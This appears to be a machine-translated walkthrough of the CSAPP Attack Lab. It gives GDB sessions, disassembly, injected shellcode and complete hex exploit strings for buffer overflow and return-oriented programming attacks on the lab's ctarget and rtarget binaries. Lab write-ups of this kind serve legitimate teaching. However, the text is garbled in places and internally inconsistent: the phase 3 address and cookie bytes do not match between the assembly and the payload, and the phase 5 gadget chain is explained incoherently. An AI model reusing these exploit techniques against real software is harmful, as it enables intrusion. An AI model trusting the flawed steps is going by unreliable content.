Sum up the lab of CSAPP third edition.
This paper introduces attack lab, which mainly investigates the understanding of code injection and return oriented programming attacks, and the simple use of GDB and objdump.
Go to the website first http://csapp.cs.cmu.edu/3e/labs.html . Under windows, click self study handout to get the compressed package. My working environment is Ubuntu, a 64 bit operating system, which uses WGet instructions to download directly. (chrome click F12 to select the element to get the download address).
Be sure to read it http://csapp.cs.cmu.edu/3e/attacklab.pdf It’s an official statement.
This experiment is mainly for the third edition of Chapter 23, about the buffer overflow attack exercise. The difference with the second version is that the attack means of ROP (return oriented programming) is added. Pure buffer overflow attack is easily restricted by stack randomization and Canary protection. ROP attack uses the existing assembly code fragments in the program to combine the instructions that need to be executed. recommend http://drops.wooyun.org/tips/3071 This article further describes the blind return oriented programming (brop) attack. If you feel difficult to understand after reading, you can browse it http://www.scs.stanford.edu/brop/bittau-brop-slides.pdf .
It is assumed that the description has been roughly browsed and the contents of each file have been understood.
Here is a brief description:
cookie.txt : store the identifier for your attack rtarget: program to execute return oriented programming attack ctarget: program to execute code injection attack farm. C: “gadget farm used to generate code fragment hexraw: used to generate attack string
The experiment is divided into five parts.
Phase 1
firstly, the executable program is disassembled to generate assembly code.
Objdump – D ctarget & gt; ctarget. D
the task of this level is to jump from the test function to touch1,.
The results are as follows
void test() {
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
The compilation is as follows:
test:
0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff callq 4017a8 <getbuf>
401976: 89 c2 mov %eax,%edx
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
Here, according to the prompt, overflow the buffer of getbuf directly and fill in the address space of touch1.
getbuf:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
touch1:
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
The starting address of buf is% RSP, and then the size is 0x28 (40) bytes. As long as it is filled with 40 bytes, the address of touch1 is added as the return address: 0x4017c0. In 64 bit address format, the high bit is supplemented with 0, and the complete address is 0x0000000000 4017c0. Pay attention to the big and small problems when writing assembly!!! If you look at the code directly, you can see that it is a small end.
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
Or use GDB to debug:
b set the breakpoint, R is run, and the parameter – Q is added because the experiment is a local experiment and will not be submitted. X outputs the contents of the RSP register. X / b displays a single byte. You can see that it starts from the high bit.
gdb ctarget
(gdb) b test
Breakpoint 1 at 0x401968: file visible.c, line 90.
(gdb) r -q
Starting program: /home/ubuntu/workspace/target1/ctarget -q
Cookie: 0x59b997fa
Breakpoint 1, test () at visible.c:90
90 visible.c: No such file or directory.
(gdb) x/gx $rsp
0x5561dcb0: 0x0000000000401f24
(gdb) x/b
0x5561dcb8: 0x00
(gdb)
Because of the small end mode, the additional address format is C0 17 40 00. VIM is a TXT or hex file, the content is as follows (30 can be replaced by CC or something)
30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30
c0 17 40 00 00 00 00 00
Then call the following command to see the result.
cat ctarget11.txt | ./hex2raw | ./ctarget -q
Phase 2
the second level adds parameter passing to the first level.
Here is the touch2 Code:
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
Touch2 assembly:
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 callq 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 callq 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
First, the first parameter of the assembly function is stored in% EDI, so our goal is to store the cookie value in% EDI, and then jump to touch2. The injection code is as follows:
movq $0x59b997fa,%rdi
pushq $0x004017ec
retq
Here, we can use GCC and objdump to translate assembly code into machine code. The above code is stored as insertvalue. S.
gcc -c insertValue.s
objdump -d insertValue.o > insertValue.d
The following machine code is obtained
insertValue.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
Then use the above bytecode to fill in 40 bytes and append the address of% RSP as the return address to execute these codes.
Next, use GDB to get the% RSP address. Make a breakpoint in getbuf and check the RSP address.
gdb ctarget
(gdb) b *0x4017af
Breakpoint 1 at 0x4017af: file buf.c, line 14.
(gdb) r -q
Starting program: /home/ubuntu/workspace/target1/ctarget -q
Cookie: 0x59b997fa
Breakpoint 1, 0x00000000004017af in getbuf () at buf.c:14
14 buf.c: No such file or directory.
(gdb) info registers
rax 0x0 0
rbx 0x55586000 1431855104
rcx 0x3a676e6972747320 4208453775971873568
rdx 0xc 12
rsi 0x7ffff7dd59e0 140737351866848
rdi 0x5561dc78 1432476792
rbp 0x55685fe8 0x55685fe8
rsp 0x5561dc78 0x5561dc78
r8 0x0 0
r9 0x4032b4 4207284
r10 0x7ffff7fe0740 140737354008384
r11 0x7ffff7aa15c0 140737348507072
r12 0x2 2
r13 0x0 0
r14 0x0 0
r15 0x0 0
rip 0x4017af 0x4017af <getbuf+7>
eflags 0x216 [ PF AF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
Or use
(gdb) ctarget
(gdb) b *(getbuf+14)
(gdb) run -q
Starting program
(gdb) p/x $rsp
Here we can see that the address is 0x5561dc78, so we get the following file ctarget21.txt:
48 c7 c7 fa 97 b9 59 68 ec 17
40 00 c3 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00
Then call the following command to see the result.
cat ctarget21.txt | ./hex2raw | ./ctarget -q
Phase 3
this level needs to convert the cookie into a string and pass it to touch3
void touch3(char *sval)
{
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
Note the problem here. First of all, the location of the cookie. If the cookie is stored in buf, the next hexmatch may cover its stack, but the parent stack of buf is safe. Just put the address of touch3 at the top of the parent stack.
First, we construct the injection code. The address of touch3 is 0x4018fa. According to the previous pass, we have got the% RSP address of 0x5561dc78, the return address should be% RSP + 0x28 (where the code execution address is stored), and then the string address should be% RSP + 0x30 (48)
movq $0x5561dc98,%rdi
pushq $0x004018fa
retq
~
Save it as bufinsert. S (forgive me for the name confusion, you know, variable naming is the first problem for programmers).
gcc -c bufInsert.s
objdump -d bufInsert.o > bufInsert.d
The code is as follows:
0: 48 c7 c7 98 dc 61 55 mov $0x5561dc98,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
Then construct a string. My cookie is 0x59b997fa. Here, I need to convert it to ASCII format and use man ASCII to view it. My corresponding ASCII code is 35 39 62 39 37 66 61 00.
To sum up, the file should have the following parts: first, the injected code and the padding bytes, then the address of the injected code, and finally the string. Construct ctarget31.txt as follows:
48 c7 c7 a8 dc 61 55 68 fa 18
40 00 c3 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 00
Implementation:
cat ctarget31.txt | ./hex2raw | ./ctarget -q
Right!! Take a look at a successful example:
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
Phase 4
the following two levels are examples of using ROP attack. Because of stack randomization, fixed% RSP address jump cannot be used, and code execution is prohibited in some areas. Here, ROP is used to construct the attack using the code fragment of the program itself.
The target here is the same as phase 2, passing cookie (0x59b997fa) to touch2 (0x4017ec).
The simplest idea is to save the cookie in% RSP and pop it up, but no POPQ% $RDI
(bytecode 5F, available from the PDF manual at the beginning of the query). However, bytecode 58 representing POPQ% rax
was found. The code address is as follows (objdump rtarget available)
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
The address is 0x4019ab, gadget1
!!!!
The following code can be used to complete the follow-up actions:
popq %rax
movq %rax %edi
ret
movq% rax% EDI
bytecode is 48 89 C7 C3
found in the following code:
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
The starting address is 0x4019c5
, gadget2
.
To sum up, the file should include the following parts: first, the filling area, then the return address of the gadget, cookie, the return address of the gadget2, and the address of touch2. The ctarget4.txt file is constructed as follows:
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
Implementation:
cat ctarget4.txt | ./hex2raw | ./rtarget -q
Phase 5
like phase 3, it uses cookie to construct string and pass it to touch3, and uses ROP attack.
First look for the code related to% RSP. 4889e0 movq% RSP,% rax
the following fragment was found:
0000000000401aab <setval_350>:
401aab: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi)
401ab1: c3 retq
The first gadget1
address is 0x401aad
.
Next, we need a code fragment that can increment% rax to point to our cookie address.
Find 04 37
, which represents add $0x37% Al
:
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
The second gadget2
address is 0x4019d8
.
Next, you need to move% rax content to% RDI and find 48 89 C7
representing mov% rax and% RDI
.
The fragment is as follows:
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
The third gadget3
address is 0x4019a2
.
Now to sum up, the file under attack should have the following parts: address of padding area 1, paget1, paget2, paget3, touch3, padding area 2, cookie. The size of the second padding area is 55 (0x37) – 3 * 8 = 31 bytes. Finally, the construction file ctarget5.txt is as follows:
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
ad 1a 40 00 00 00 00 00
d8 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
dd dd dd dd dd dd dd dd dd dd
dd dd dd dd dd dd dd dd dd dd
dd dd dd dd dd dd dd dd dd dd
dd
35 39 62 39 39 37 66 61 00
Implementation:
cat ctarget5.txt | ./hex2raw | ./rtarget -q